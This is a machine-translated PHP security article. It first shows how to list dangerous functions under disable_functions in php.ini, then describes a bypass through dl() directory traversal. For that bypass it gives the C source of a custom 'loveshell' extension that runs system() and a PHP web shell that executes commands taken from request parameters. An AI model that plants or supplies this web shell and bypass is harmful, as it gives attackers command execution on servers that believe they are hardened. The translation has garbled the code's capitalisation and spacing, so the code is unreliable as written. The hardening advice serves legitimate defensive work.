Q. I run a small Apache based webserver for my personal use and it is shared with friends and family. however, most script kiddie try to exploit php application such as wordpress using exec (), passthru (), shell_exec (), system () etc functions. how do I disable these functions to improve my php script security?
A. PHP has a lot of functions which can be used to crack your server if not used properly. you can set list of functions in php. ini using disable_functions ctive. this directive allows you to disable certain functions for security reasons. it takes on a comma-delimited list of function names. disable_functions is not affected by Safe Mode. this directive must be set in php. ini For example, you cannot set this in httpd. conf.
Open php. ini file:
# Vi/etc/php. ini
Find disable_functions and set new list as follows:
Search for disable_functions and replace it with the following
Copy codeThe Code is as follows: disable_functions = phpinfo, exec, passthru, shell_exec, system, proc_open, popen, curl_exec, curl_multi_exec, parse_ini_file, show_source
Save and close the file. Restart httpd:Copy codeThe Code is as follows: # service httpd restart
Note that the disable_functions ctive can not be used outside of the php. ini file which means that you cannot disable functions on a per-virtualhost or per-directory basis in your httpd. conf file. if we add this to our php. ini file:
The setting method in iis, in c: \ windows \ php. ini
Settings outside of the stars:
Copy codeThe Code is as follows: disable_functions = exec, system, passthru, popen, pclose, shell_exec, proc_open, dl, chmod, gzinflate, set_time_limit
We recommend that you add phpinfo and so on. You can refer to the above settings. Some functions may not be supported by php in the future. Then you can search for the error message, remove the corresponding function.
The more data is supported, the less secure it is. For the collection program, you need to remove curl_exec and test it more.
A more complete version is provided below
Copy codeThe Code is as follows: disable_functions = phpinfo, exec, system, passthru, popen, pclose, shell_exec, proc_open, dl, curl_exec, multi_exec, chmod, gzinflate, set_time_limit,
After setting in iis, enter iisreset/restart in running.
Note the following breakthrough method: We recommend that you enable the security mode.
PHP is a powerful and widely used scripting language. Most websites use the PHP architecture. Because it provides powerful file operations and system interaction functions, most servers impose strict restrictions on PHP, including using open_basedir to restrict accessible directories and using disable_functions to restrict the use of some functions that can directly execute system commands, such as system, exec, passthru, shell_exec, proc_open, and so on. However, if the server does not impose restrictions on the dl () function, you can use the dl () function to bypass these restrictions.
The dl () function allows the php module to be dynamically loaded in the php script. By default, the extension in the extension_dir directory is loaded. This option can be modified within the PHP_INI_SYSTEM range and can only be used in php. ini or apache main configuration file. Of course, you can also use the enable_dl option to disable the dynamic loading function. The default value of this option is On, which is rarely noticed. The dl () function has a security vulnerability during design. You can use the ../Directory Traversal method to specify to LOAD extension files such as so in any directory. extension_dir restrictions can be skipped at will. Therefore, we can upload our own so file, use the dl function to load this so file, and then use the function in the so file to execute other operations, including system commands.
PHP_FUNCTION (dl)
{
Pval ** file;
# Ifdef ZTS
If (strncmp (sapi_module.name, "cgi", 3 )! = 0 )&&
(Strcmp (sapi_module.name, "cli ")! = 0 )&&
(Strncmp (sapi_module.name, "embed", 5 )! = 0 )){
Php_error_docref (NULL TSRMLS_CC, E_WARNING, "Not supported in multithreaded Web servers-use extension statements in your php. ini ");
RETURN_FALSE;
} // Verify whether the dl function can be used. This function is not allowed in multi-threaded web servers.
# Endif
/* Obtain arguments */
If (ZEND_NUM_ARGS ()! = 1 | zend_get_parameters_ex (1, & file) = FAILURE ){
WRONG_PARAM_COUNT;
}
Convert_to_string_ex (file); // obtain the Parameter
If (! PG (enable_dl )){
Php_error_docref (NULL TSRMLS_CC, E_WARNING, "Dynamically loaded extentions aren't enabled"); // verify whether enable_dl is enabled. The default value is on
} Else if (PG (safe_mode )){
Php_error_docref (NULL TSRMLS_CC, E_WARNING, "Dynamically loaded extensions aren't allowed when running in Safe Mode"); // verify whether safe_mode is enabled
} Else {
Php_dl (* file, MODULE_TEMPORARY, return_value TSRMLS_CC); // start calling and Loading
EG (full_tables_cleanup) = 1;
}
The following describes how to start loading the processing module.
Void php_dl (pval * file, int type, pval * return_value TSRMLS_DC)
{
Void * handle;
Char * libpath;
Zend_module_entry * module_entry, * tmp;
Zend_module_entry * (* get_module) (void );
Int error_type;
Char * extension_dir; // defines some variables.
If (type = MODULE_PERSISTENT ){
/* Use the configuration hash directly, the INI mechanic is not yet initialized */
If (performance_get_string ("extension_dir", & extension_dir) = FAILURE ){
Extension_dir = PHP_EXTENSION_DIR;
}
} Else {
Extension_dir = PG (extension_dir );
} // Obtain the setting in php. ini, that is, the extension_dir directory.
If (type = MODULE_TEMPORARY ){
Error_type = E_WARNING;
} Else {
Error_type = E_CORE_WARNING;
}
If (extension_dir & extension_dir [0]) {
Int extension_dir_len = strlen (extension_dir );
Libpath = emalloc (extension_dir_len + Z_STRLEN_P (file) + 2 );
If (IS_SLASH (extension_dir [extension_dir_len-1]) {
Sprintf (libpath, "% s", extension_dir, Z_STRVAL_P (file);/* SAFE */
} Else {
Sprintf (libpath, "% s % c % s", extension_dir, DEFAULT_SLASH, Z_STRVAL_P (file);/* SAFE */
} // Construct the final so file location. It is just a simple addition and does not check the passed parameters, including open_basedir.
} Else {
Libpath = estrndup (Z_STRVAL_P (file), Z_STRLEN_P (file ));
}
/* Load dynamic symbol */
Handle = DL_LOAD (libpath); // start the real call
Now, we can call any so! The next step is to write your own so module and call it. According to the official module writing method, I wrote a very simple export function loveshell as follows:
PHP_FUNCTION (loveshell)
{
Char * command;
Int command_len;
If (ZEND_NUM_ARGS ()! = 1 | zend_parse_parameters (ZEND_NUM_ARGS () TSRMLS_CC, "s", & command, & command_len) = FAILURE ){
WRONG_PARAM_COUNT;
}
System (command );
Zend_printf ("I recieve % s", command );
}
Note that because the structure of php4 and php5 is different, if you want to smoothly call the extension, you need to compile the above Code in the php4 environment, php5 must be compiled in the php5 environment. After uploading the compiled extensions to the server, we can use the following code to execute the command:
<? Php
Dl ('../www/users/www.cnbct.org/loveshell.so ');
$ Cmd = $ _ REQUEST [c]. "2> & 1> tmp.txt ";
Loveshell ($ cmd );
Echo "<br> ";
Echo file_get_contents('tmp.txt ');
?>
To ensure server security, add this function to disable_functions or enable security mode. In security mode, the dl function is unconditionally prohibited! :)